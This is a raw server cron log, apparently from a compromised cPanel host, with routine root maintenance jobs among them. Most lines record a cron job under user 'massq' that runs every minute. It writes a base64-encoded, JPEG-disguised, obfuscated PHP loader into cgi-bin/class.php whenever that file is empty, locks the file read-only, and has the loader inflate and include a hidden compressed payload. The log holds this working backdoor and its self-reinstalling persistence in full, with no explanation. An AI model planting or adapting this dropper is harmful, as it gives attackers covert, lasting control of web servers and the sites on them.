JHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:17:01 server CROND[9388]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:18:01 server CROND[9430]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:19:01 server CROND[9481]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:20:01 server CROND[9543]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 08:20:01 server CROND[9544]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 08:20:01 server CROND[9546]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:20:01 server CROND[9548]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 08:20:01 server CROND[9545]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 08:21:01 server CROND[9773]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:22:01 server CROND[9885]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:23:01 server CROND[9938]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:24:01 server CROND[10000]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:25:01 server CROND[10068]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:25:01 server CROND[10069]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 08:25:01 server CROND[10070]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr 12 08:25:01 server CROND[10071]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 08:26:01 server CROND[10272]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:27:01 server CROND[10329]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:27:01 server CROND[10330]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 08:28:01 server CROND[10384]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:29:01 server CROND[10470]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:30:01 server CROND[10668]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 08:30:01 server CROND[10669]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 08:30:01 server CROND[10670]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Apr 12 08:30:01 server CROND[10671]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
